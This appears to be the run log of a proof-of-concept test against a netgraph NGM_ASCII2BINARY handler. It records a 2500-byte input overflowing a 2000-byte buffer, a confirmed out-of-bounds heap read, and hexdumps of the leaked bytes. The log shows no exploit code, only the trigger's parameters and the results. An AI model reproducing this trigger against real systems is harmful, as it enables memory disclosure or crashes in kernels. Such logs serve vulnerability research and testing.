DF-0449 / run.log
[*] control socket fd=3 opened [*] sending NGM_ASCII2BINARY: string=2500 A's, bufSize(buflen)=2000, expected overflow=501 bytes [+] sendto returned 2607 bytes [+] recvfrom returned 2605 bytes (response) [*] response header.arglen = 2553 (alloc was 2000) [!!] OVERFLOW CONFIRMED: arglen=2553 > 2000; secondary OOB read leaked ~553 bytes of adjacent heap === LEAKED ADJACENT HEAP BYTES (binary->data[2000 .. 2553]) === 07d0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 07e0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 07f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0800: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0810: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0820: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0830: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0840: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0850: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0860: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0870: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0880: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0890: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 08a0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 08b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 08c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 08d0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 08e0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 08f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0900: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0910: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0920: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0930: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0940: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0950: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0960: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0970: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0980: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0990: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 09a0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 09b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 09c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 09d0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 09e0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 09f0: 41 41 41 41 41 41 41 41 00 === full response hexdump (first 256 bytes of binary->data) === 0000: 02 00 c5 09 01 00 00 00 41 41 41 41 5c 7e c3 32 0010: 0b 00 00 00 74 65 78 74 73 74 61 74 75 73 00 00 0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0030: 00 00 00 00 41 41 41 41 41 41 41 41 41 41 41 41 0040: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0050: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0060: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0070: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0080: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 0090: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00a0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00d0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00e0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 RUN_EXIT=0